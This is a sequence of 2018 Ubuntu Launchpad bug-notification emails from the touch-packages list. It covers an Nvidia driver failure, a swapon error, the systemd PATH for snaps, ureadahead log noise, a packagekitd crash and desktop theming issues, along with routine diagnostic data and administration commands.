[Touch-packages] [Bug 1795198] [NEW] Nvidia Driver 390
Public bug reported: The driver dont work with my Lenovo E570. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Uname: Linux 4.15.0-34-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:01:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 390.48 Thu Mar 22 00:42:57 PDT 2018 GCC version: gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04) .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: communitheme:ubuntu:GNOME Date: Sat Sep 29 23:02:55 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: nvidia, 390.48, 4.15.0-34-generic, x86_64: installed ExtraDebuggingInterest: No GraphicsCard: Intel Corporation HD Graphics 620 [8086:5916] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Lenovo HD Graphics 620 [17aa:505c] Subsystem: Lenovo GM108M [GeForce 940MX] [17aa:505c] InstallationDate: Installed on 2018-09-07 (22 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: LENOVO 20H5A04DLM ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=1 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/04/2018 dmi.bios.vendor: LENOVO dmi.bios.version: R0DET94W (1.94 ) dmi.board.asset.tag: Not Available dmi.board.name: 20H5A04DLM dmi.board.vendor: LENOVO dmi.board.version: SDK0J40697 WIN dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrR0DET94W(1.94):bd06/04/2018:svnLENOVO:pn20H5A04DLM:pvrThinkPadE570:rvnLENOVO:rn20H5A04DLM:rvrSDK0J40697WIN:cvnLENOVO:ct10:cvrNone: dmi.product.family: ThinkPad E570 dmi.product.name: 20H5A04DLM dmi.product.version: ThinkPad E570 dmi.sys.vendor: LENOVO nvidia-settings: ERROR: Unable to find display on any available system ERROR: Unable to find display on any available system version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic ubuntu wayland-session -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1795198 Title: Nvidia Driver 390 Status in xorg package in Ubuntu: New Bug description: The driver dont work with my Lenovo E570. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Uname: Linux 4.15.0-34-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:01:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 390.48 Thu Mar 22 00:42:57 PDT 2018 GCC version: gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04) .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: communitheme:ubuntu:GNOME Date: Sat Sep 29 23:02:55 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: nvidia, 390.48, 4.15.0-34-generic, x86_64: installed ExtraDebuggingInterest: No GraphicsCard: Intel Corporation HD Graphics 620 [8086:5916] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Lenovo HD Graphics 620 [17aa:505c] Subsystem: Lenovo GM108M [GeForce 940MX] [17aa:505c] InstallationDate: Installed on 2018-09-07 (22 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: LENOVO 20H5A04DLM
[Touch-packages] [Bug 1764414] Re: LibreOffice’s spin buttons have the wrong background
** No longer affects: ubuntu-themes (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1764414 Title: LibreOffice’s spin buttons have the wrong background Status in libreoffice package in Ubuntu: Confirmed Bug description: Steps: 1. Start Writer 2. Go to Tools -> Options -> LibreOffice -> General 3. You will see an input field with + and - buttons The buttons are not properly themed in Ambiance: 1. The - button has no left border 2. The + button has an extra right border 3. There is no hover effect (only touching without pressing the button) All those three issues do not exist in Adwaita. See the attached screencast. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: light-themes 16.10+18.04.20180328-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 ApportVersion: 2.20.9-0ubuntu4 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Apr 16 15:37:38 2018 InstallationDate: Installed on 2017-10-02 (195 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Beta amd64 (20170930) PackageArchitecture: all SourcePackage: ubuntu-themes UpgradeStatus: Upgraded to bionic on 2018-03-27 (19 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libreoffice/+bug/1764414/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1788321] Re: swapon failed: invalid argument
My perspective suggests that this bug might have came from upsteam. I'm running DEBIAN 9 in VMware Workstation 12.5.9 build-7535481 and having this exact same issue. AFFECTED = Linux 4.9.0-8-686-pae #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) i686 GNU/Linux NOT affected = Linux 4.9.0-7-686-pae #1 SMP Debian 4.9.110-3+deb9u2 (2018-08-13) i686 GNU/Linux -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1788321 Title: swapon failed: invalid argument Status in linux package in Ubuntu: Confirmed Status in util-linux package in Ubuntu: Invalid Bug description: Environment: - Ubuntu 18.04.1 LTS - Linux 4.15.0-32-generic i686 Description: When I try to mount my swap partition or my swap file, I get "swapon failed: invalid argument" . Steps to reproduce: 1) sudo bash 2) dd if=/dev/zero of=/swapfile bs=1024 count=524288 3) mkswap /swapfile 4) chown root:root /swapfile 5) chmod 0600 /swapfile 6) swapon /swapfile Last execution returns "swapon failed: invalid argument" . I'm almost sure it's a bug because I have no problems using Linux 4.15.0-29-generic instead of Linux 4.15.0-32-generic. Also, no problems using Ubuntu 18.04.1 LTS Live CD. Regards. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788321/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1771858] Re: /snap/bin not in default PATH for units, snapd should ship system-environment-generators to inject /snap/bin into $PATH
This bug was fixed in the package systemd - 239-7ubuntu9 --- systemd (239-7ubuntu9) cosmic; urgency=medium * core: export environment when running generators. Ensure that manager's environment (including e.g. PATH) is exported when running generators. Otherwise, one is at a mercy of running without PATH which can lead to buggy generator behaviour. (LP: #1771858) -- Dimitri John Ledkov Wed, 26 Sep 2018 11:01:58 +0100 ** Changed in: systemd (Ubuntu Cosmic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1771858 Title: /snap/bin not in default PATH for units, snapd should ship system- environment-generators to inject /snap/bin into $PATH Status in snapd package in Ubuntu: Confirmed Status in systemd package in Ubuntu: Fix Released Status in snapd source package in Xenial: Confirmed Status in systemd source package in Xenial: Confirmed Status in snapd source package in Bionic: Confirmed Status in systemd source package in Bionic: Confirmed Status in snapd source package in Cosmic: Confirmed Status in systemd source package in Cosmic: Fix Released Bug description: This means that software installed via snap isn't transparently available for units to use. As snaps are first-class citizens in Ubuntu, we should update the PATH. Specifically, this is evident by e.g. $ systemd-run env. Or any other daemons that spawn shell scripts (e.g. cloud-init metadata acquired shell hooks, etc.). Since v232 systemd provides support for environment generators, snapd should package/ship a snippet that injects the correct snapd path into systemd environment. E.g.: $ sudo mkdir -p /usr/lib/systemd/system-environment-generators $ printf '#!/bin/sh\nPATH=$PATH:/snap/bin\n' | \ sudo tee /usr/lib/systemd/system-environment-generators/90-snapd Something similar can be done for user-environment-generators too. Note that user-environment-generators can generate unique variables per user. Note please use /usr/lib path, as it appears that /lib/systemd path is not working atm. Will check if that needs to be fixed up. systemd in xenial does not support system-environment-generators, thus we probably need to upload a patch to change the DEFAULT_PATH compiled in default there. [Testcase] $ systemd-run /usr/bin/env $ journalctl -e | grep PATH Output should contain /snap/bin To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/snapd/+bug/1771858/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1697297] Re: blurry text in gedit 3.22 in zesty
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: gtk+3.0 (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu. https://bugs.launchpad.net/bugs/1697297 Title: blurry text in gedit 3.22 in zesty Status in gtk+3.0 package in Ubuntu: Confirmed Bug description: Gedit in Zesty is version 3.22 and an old bug has re-appeared in it. This is the old bug link https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1309785 Using `GTK_DEBUG=no-pixel-cache` fixes the issue, but then there appear another issue. In filechooser dialog, you can't see the column's heading. I'm attaching a picture of this what is expected and what was missing. Output of `lsb_release -rd` Description: Ubuntu 17.04 Release: 17.04 Output of `apt policy gedit` gedit: Installed: 3.22.0-2ubuntu1 Candidate: 3.22.0-2ubuntu1 Version table: *** 3.22.0-2ubuntu1 500 500 http://bd.archive.ubuntu.com/ubuntu zesty/main amd64 Packages 100 /var/lib/dpkg/status To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1697297/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795172] [NEW] package libglib2.0-dev-bin 2.56.2-0ubuntu0.18.04.2 failed to install/upgrade: problemi con le dipendenze - lasciato non configurato
Public bug reported: errore durante upgrade ProblemType: Package DistroRelease: Ubuntu 18.04 Package: libglib2.0-dev-bin 2.56.2-0ubuntu0.18.04.2 ProcVersionSignature: Ubuntu 4.15.0-34.37-lowlatency 4.15.18 Uname: Linux 4.15.0-34-lowlatency x86_64 ApportVersion: 2.20.9-0ubuntu7.2 AptOrdering: firefox:amd64: Install NULL: ConfigurePending Architecture: amd64 Date: Sat Sep 29 18:41:06 2018 ErrorMessage: problemi con le dipendenze - lasciato non configurato InstallationDate: Installed on 2018-05-03 (148 days ago) InstallationMedia: Ubuntu-Studio 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Python3Details: /usr/bin/python3.6, Python 3.6.6, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3ubuntu0.1 SourcePackage: glib2.0 Title: package libglib2.0-dev-bin 2.56.2-0ubuntu0.18.04.2 failed to install/upgrade: problemi con le dipendenze - lasciato non configurato UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: glib2.0 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to glib2.0 in Ubuntu. https://bugs.launchpad.net/bugs/1795172 Title: package libglib2.0-dev-bin 2.56.2-0ubuntu0.18.04.2 failed to install/upgrade: problemi con le dipendenze - lasciato non configurato Status in glib2.0 package in Ubuntu: New Bug description: errore durante upgrade ProblemType: Package DistroRelease: Ubuntu 18.04 Package: libglib2.0-dev-bin 2.56.2-0ubuntu0.18.04.2 ProcVersionSignature: Ubuntu 4.15.0-34.37-lowlatency 4.15.18 Uname: Linux 4.15.0-34-lowlatency x86_64 ApportVersion: 2.20.9-0ubuntu7.2 AptOrdering: firefox:amd64: Install NULL: ConfigurePending Architecture: amd64 Date: Sat Sep 29 18:41:06 2018 ErrorMessage: problemi con le dipendenze - lasciato non configurato InstallationDate: Installed on 2018-05-03 (148 days ago) InstallationMedia: Ubuntu-Studio 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Python3Details: /usr/bin/python3.6, Python 3.6.6, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3ubuntu0.1 SourcePackage: glib2.0 Title: package libglib2.0-dev-bin 2.56.2-0ubuntu0.18.04.2 failed to install/upgrade: problemi con le dipendenze - lasciato non configurato UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1795172/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1579580] Re: ureadahead reports relative path errors in journalctl output
ExecStart twice is what I meant (this is the way to replace the command from the base definition instead of adding another command to the list, see the systemd.unit man page for details.) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ureadahead in Ubuntu. https://bugs.launchpad.net/bugs/1579580 Title: ureadahead reports relative path errors in journalctl output Status in ureadahead package in Ubuntu: Confirmed Bug description: ureadahead reports relative path errors in my journalctl output. This is currently 4368 lines of useless annoyances in my logs. To see if you have this problem, run: journalctl -b | grep ureadahead | grep relative | wc -l Thanks ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: ureadahead 0.100.0-19 ProcVersionSignature: Ubuntu 4.4.0-22.39-generic 4.4.8 Uname: Linux 4.4.0-22-generic x86_64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Sun May 8 15:55:18 2016 InstallationDate: Installed on 2016-04-04 (34 days ago) InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Beta amd64 (20160325) ProcEnviron: TERM=linux PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: ureadahead UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ureadahead/+bug/1579580/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1579580] Re: ureadahead reports relative path errors in journalctl output
No, ExecStart twice is correct. This is the way systemd overrides work; normally a value for a keyword adds to the list of values from the base .service definition. I don't want that, I want to replace it. The special ExecStart= with no value tells systemd to reset the base value to empty, then the second one starts a new list thus replacing the old command. (This is all explained in the systemd.unit man page.) I should tell you that I no longer use this workaround, since after a fair amount of working with and investigating ureadahead (I thought I might actually contribute a permanent fix) I decided that ureadahead is useless in my configuration, since I only reboot after a kernel update anyway, and ureadahead only can ever help on the second and subsequent boots of the same config (most any changes to /etc will cause ureadahead to rescan at the the next boot.) So I have just purged ureadahead on all my systems. On Sat, Sep 29, 2018 at 5:39 AM midenok <1579...@bugs.launchpad.net> wrote: > > Why it contains ExecStart 2 times? > > [Service] > ExecStart= > ExecStart=/sbin/ureadahead -q > > Did you mean ExecStop? > > [Service] > ExecStop= > ExecStart=/sbin/ureadahead -q > > -- > You received this bug notification because you are subscribed to the bug > report. > https://bugs.launchpad.net/bugs/1579580 > > Title: > ureadahead reports relative path errors in journalctl output > > Status in ureadahead package in Ubuntu: > Confirmed > > Bug description: > ureadahead reports relative path errors in my journalctl output. > > This is currently 4368 lines of useless annoyances in my logs. > > To see if you have this problem, run: journalctl -b | grep ureadahead > | grep relative | wc -l > > Thanks > > ProblemType: Bug > DistroRelease: Ubuntu 16.04 > Package: ureadahead 0.100.0-19 > ProcVersionSignature: Ubuntu 4.4.0-22.39-generic 4.4.8 > Uname: Linux 4.4.0-22-generic x86_64 > NonfreeKernelModules: zfs zunicode zcommon znvpair zavl > ApportVersion: 2.20.1-0ubuntu2 > Architecture: amd64 > Date: Sun May 8 15:55:18 2016 > InstallationDate: Installed on 2016-04-04 (34 days ago) > InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Beta amd64 > (20160325) > ProcEnviron: >TERM=linux >PATH=(custom, no user) >LANG=en_US.UTF-8 >SHELL=/bin/bash > SourcePackage: ureadahead > UpgradeStatus: No upgrade log present (probably fresh install) > > To manage notifications about this bug go to: > https://bugs.launchpad.net/ubuntu/+source/ureadahead/+bug/1579580/+subscriptions -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ureadahead in Ubuntu. https://bugs.launchpad.net/bugs/1579580 Title: ureadahead reports relative path errors in journalctl output Status in ureadahead package in Ubuntu: Confirmed Bug description: ureadahead reports relative path errors in my journalctl output. This is currently 4368 lines of useless annoyances in my logs. To see if you have this problem, run: journalctl -b | grep ureadahead | grep relative | wc -l Thanks ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: ureadahead 0.100.0-19 ProcVersionSignature: Ubuntu 4.4.0-22.39-generic 4.4.8 Uname: Linux 4.4.0-22-generic x86_64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Sun May 8 15:55:18 2016 InstallationDate: Installed on 2016-04-04 (34 days ago) InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Beta amd64 (20160325) ProcEnviron: TERM=linux PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: ureadahead UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ureadahead/+bug/1579580/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795157] Re: packagekitd crashed with SIGABRT in std::terminate()
*** This bug is a duplicate of bug 1788099 *** https://bugs.launchpad.net/bugs/1788099 Thank you for taking the time to report this crash and helping to make this software better. This particular crash has already been reported and is a duplicate of bug #1788099, so is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Please continue to report any other bugs you may find. ** Attachment removed: "CoreDump.gz" https://bugs.launchpad.net/bugs/1795157/+attachment/5194524/+files/CoreDump.gz ** Attachment removed: "Disassembly.txt" https://bugs.launchpad.net/bugs/1795157/+attachment/5194526/+files/Disassembly.txt ** Attachment removed: "ProcMaps.txt" https://bugs.launchpad.net/bugs/1795157/+attachment/5194529/+files/ProcMaps.txt ** Attachment removed: "ProcStatus.txt" https://bugs.launchpad.net/bugs/1795157/+attachment/5194530/+files/ProcStatus.txt ** Attachment removed: "Registers.txt" https://bugs.launchpad.net/bugs/1795157/+attachment/5194531/+files/Registers.txt ** Attachment removed: "Stacktrace.txt" https://bugs.launchpad.net/bugs/1795157/+attachment/5194532/+files/Stacktrace.txt ** Attachment removed: "ThreadStacktrace.txt" https://bugs.launchpad.net/bugs/1795157/+attachment/5194533/+files/ThreadStacktrace.txt ** This bug has been marked a duplicate of private bug 1788099 ** Information type changed from Private to Public ** Tags removed: need-amd64-retrace -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1795157 Title: packagekitd crashed with SIGABRT in std::terminate() Status in packagekit package in Ubuntu: New Bug description: I was just opening chrome and suddenly some error popped up ProblemType: Crash DistroRelease: Ubuntu 18.10 Package: packagekit 1.1.10-1ubuntu6 ProcVersionSignature: Ubuntu 4.18.0-7.8-generic 4.18.5 Uname: Linux 4.18.0-7-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 CrashCounter: 1 Date: Fri Sep 28 20:30:00 2018 ExecutablePath: /usr/lib/packagekit/packagekitd InstallationDate: Installed on 2018-09-22 (7 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) ProcCmdline: /usr/lib/packagekit/packagekitd ProcEnviron: LANG=en_IN LANGUAGE=en_IN:en PATH=(custom, no user) SHELL=/bin/sh Signal: 6 SourcePackage: packagekit StacktraceTop: ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 Title: packagekitd crashed with SIGABRT in std::terminate() UpgradeStatus: Upgraded to cosmic on 2018-09-26 (3 days ago) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1795157/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795145] Re: Turn on background plugin by default (Ubuntu 18.10)
** Merge proposal linked: https://code.launchpad.net/~khurshid-alam/ubuntu/+source/ubuntu-settings/+git/ubuntu-settings/+merge/355874 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-settings in Ubuntu. https://bugs.launchpad.net/bugs/1795145 Title: Turn on background plugin by default (Ubuntu 18.10) Status in ubuntu-settings package in Ubuntu: New Bug description: In https://git.launchpad.net/~ubuntu-desktop/ubuntu/+source/ubuntu- settings/tree/debian/ubuntu-settings.gsettings-override#n139 we have, [org.gnome.settings-daemon.plugins.background:ubuntu] active = false which disables the plugin. Gnome-settings-daemon doesn't use that key anymore (They are auto started by desktop files), But unity-settings- daemon now requires it to be enabled by default due to recent changes in lightdm and u-s-d Lightdm now use AccountsService extension system for extended greeter information (like wallpaper) used by unity-greeter (https://github.com/CanonicalLtd/lightdm/commit/6015bce25f241e7580c03594d846769f8236232f) And unity-settings-daemon now depends on new AccountsService method of setting background file for unity greeter. (https://bazaar.launchpad.net/~unity-settings-daemon-team/unity- settings-daemon/trunk/revision/4179) How-to-reproduce: -- 1) First disable the background plugin if it is already enabled. gsettings set org.gnome.settings-daemon.plugins.sharing active false 2) Change the wallpaper from unity-control-center. 3) Log out. Unity-greeter should reflect the change of wallpaper. But it doesn't. 4) Re-enable the background plugin. gsettings set org.gnome.settings-daemon.plugins.sharing active true 5) Change the wallpaper again and then log out. Unity-greeter now reflects the change in wallpaper properly. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-settings/+bug/1795145/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795145] Re: Turn on background plugin by default (Ubuntu 18.10)
It got disabled in in https://launchpad.net/ubuntu/+source/ubuntu- settings/12.10.7. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-settings in Ubuntu. https://bugs.launchpad.net/bugs/1795145 Title: Turn on background plugin by default (Ubuntu 18.10) Status in ubuntu-settings package in Ubuntu: New Bug description: In https://git.launchpad.net/~ubuntu-desktop/ubuntu/+source/ubuntu- settings/tree/debian/ubuntu-settings.gsettings-override#n139 we have, [org.gnome.settings-daemon.plugins.background:ubuntu] active = false which disables the plugin. Gnome-settings-daemon doesn't use that key anymore (They are auto started by desktop files), But unity-settings- daemon now requires it to be enabled by default due to recent changes in lightdm and u-s-d Lightdm now use AccountsService extension system for extended greeter information (like wallpaper) used by unity-greeter (https://github.com/CanonicalLtd/lightdm/commit/6015bce25f241e7580c03594d846769f8236232f) And unity-settings-daemon now depends on new AccountsService method of setting background file for unity greeter. (https://bazaar.launchpad.net/~unity-settings-daemon-team/unity- settings-daemon/trunk/revision/4179) How-to-reproduce: -- 1) First disable the background plugin if it is already enabled. gsettings set org.gnome.settings-daemon.plugins.sharing active false 2) Change the wallpaper from unity-control-center. 3) Log out. Unity-greeter should reflect the change of wallpaper. But it doesn't. 4) Re-enable the background plugin. gsettings set org.gnome.settings-daemon.plugins.sharing active true 5) Change the wallpaper again and then log out. Unity-greeter now reflects the change in wallpaper properly. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-settings/+bug/1795145/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795145] [NEW] Turn on background plugin by default (Ubuntu 18.10)
Public bug reported: In https://git.launchpad.net/~ubuntu-desktop/ubuntu/+source/ubuntu- settings/tree/debian/ubuntu-settings.gsettings-override#n139 we have, [org.gnome.settings-daemon.plugins.background:ubuntu] active = false which disables the plugin. Gnome-settings-daemon doesn't use that key anymore (They are auto started by desktop files), But unity-settings- daemon now requires it to be enabled by default due to recent changes in lightdm and u-s-d Lightdm now use AccountsService extension system for extended greeter information (like wallpaper) used by unity-greeter (https://github.com/CanonicalLtd/lightdm/commit/6015bce25f241e7580c03594d846769f8236232f) And unity-settings-daemon now depends on new AccountsService method of setting background file for unity greeter. (https://bazaar.launchpad.net /~unity-settings-daemon-team/unity-settings-daemon/trunk/revision/4179) How-to-reproduce: -- 1) First disable the background plugin if it is already enabled. gsettings set org.gnome.settings-daemon.plugins.sharing active false 2) Change the wallpaper from unity-control-center. 3) Log out. Unity-greeter should reflect the change of wallpaper. But it doesn't. 4) Re-enable the background plugin. gsettings set org.gnome.settings-daemon.plugins.sharing active true 5) Change the wallpaper again and then log out. Unity-greeter now reflects the change in wallpaper properly. ** Affects: ubuntu-settings (Ubuntu) Importance: Undecided Status: New ** Tags: cosmic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-settings in Ubuntu. https://bugs.launchpad.net/bugs/1795145 Title: Turn on background plugin by default (Ubuntu 18.10) Status in ubuntu-settings package in Ubuntu: New Bug description: In https://git.launchpad.net/~ubuntu-desktop/ubuntu/+source/ubuntu- settings/tree/debian/ubuntu-settings.gsettings-override#n139 we have, [org.gnome.settings-daemon.plugins.background:ubuntu] active = false which disables the plugin. Gnome-settings-daemon doesn't use that key anymore (They are auto started by desktop files), But unity-settings- daemon now requires it to be enabled by default due to recent changes in lightdm and u-s-d Lightdm now use AccountsService extension system for extended greeter information (like wallpaper) used by unity-greeter (https://github.com/CanonicalLtd/lightdm/commit/6015bce25f241e7580c03594d846769f8236232f) And unity-settings-daemon now depends on new AccountsService method of setting background file for unity greeter. (https://bazaar.launchpad.net/~unity-settings-daemon-team/unity- settings-daemon/trunk/revision/4179) How-to-reproduce: -- 1) First disable the background plugin if it is already enabled. gsettings set org.gnome.settings-daemon.plugins.sharing active false 2) Change the wallpaper from unity-control-center. 3) Log out. Unity-greeter should reflect the change of wallpaper. But it doesn't. 4) Re-enable the background plugin. gsettings set org.gnome.settings-daemon.plugins.sharing active true 5) Change the wallpaper again and then log out. Unity-greeter now reflects the change in wallpaper properly. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-settings/+bug/1795145/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
